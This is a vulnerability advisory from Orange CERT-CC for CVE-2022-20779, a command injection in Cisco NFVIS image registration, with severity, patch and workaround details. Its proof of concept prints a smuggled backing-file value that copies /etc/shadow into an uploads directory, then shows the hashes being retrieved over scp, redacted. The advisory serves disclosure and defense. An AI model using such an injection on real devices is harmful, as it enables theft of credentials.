Cisco Enterprise NFVIS - Image registration cmdi (CVE-2022-20779)

High orange-cert-cc published GHSA-77vw-2pmg-q492 on May 6

Package

NFVIS (Cisco)

Affected versions

4.5.1-FC2

Patched versions

4.7.1

Description

Overview

When registering an image on Cisco NFVIS, it is possible to trigger a command injection by providing a specially crafted image.

Details

When a new image is registered in NFVIS, it is analyzed by launching `qemu-img info <image_file>`. The output is then used without sanitization in a shell command for further actions. As a result, with a specially crafted image, it is possible to injecti commands in the process of registration. As all the NFVIS processes runs with root privileges, the injection allows a complete compromission of the device.

Proof of Concept

As a proof of concept, we can create a qcow file containing a backing file, whose name contains our injection. We won't be describing how to generate this kind of image, but let's see what is the result of the command `qemu-img info` on it :

```
$ qemu-img info boom.qcow2
[...]
backing file: ';cp /etc/shadow /data/intdatastore/uploads/;chmod 664
/data/intdatastore/uploads/shadow;echo '
[...]
```

The `backing file` field contains a trivial command injection, which copies the file /etc/shadow in one of the uploads directory from which it can be retrieved by an admin. We are now registering the image through the CLI (the same behavior can be achieved with netconf or REST API) :

```
# vm_lifecycle images image foo src file:///data/intdatastore/uploads/boom.qcow2
# commit
Commit complete.
```

As we can see, there is no error or warning. We can now try to access the uploads directory and see if the file /etc/shadow can be found :

```
$ scp -P 22222 admin@<nfvis>:/data/intdatastore/uploads/shadow .
$ cat shadow
[...]
root:$6$XXXXXXXREDACTEDXXXXXXXXXXX:18820:0:99999:7:::
[...]
admin:$6$XXXXXXXREDACTEDXXXXXXXXXXX:18820:0:99999:7:::
```

Solution

Security patch

Upgrade to Cisco Enterprise NFVIS v4.7.1

Workaround

We recommand to:

- Sanitize the untrusted output of qemu-img before use.
- Apply the principle of least privileges by handling the image registration process with a non-admin system user.

References

https://nvd.nist.gov/vuln/detail/CVE-2022-20779
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group
Loic RESTOUX at Orange group
Pierre DENOUEL at Orange group

Timeline

Date reported: September 16, 2021
Date fixed: May 4, 2022

Severity

High 8.8 / 10

CVSS base metrics

Attack vector	**Network**
Attack complexity	**Low**
Privileges required	**None**
User interaction	**Required**
Scope	**Unchanged**
Confidentiality	**High**
Integrity	**High**
Availability	**High**

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2022-20779

Weaknesses

CWE-284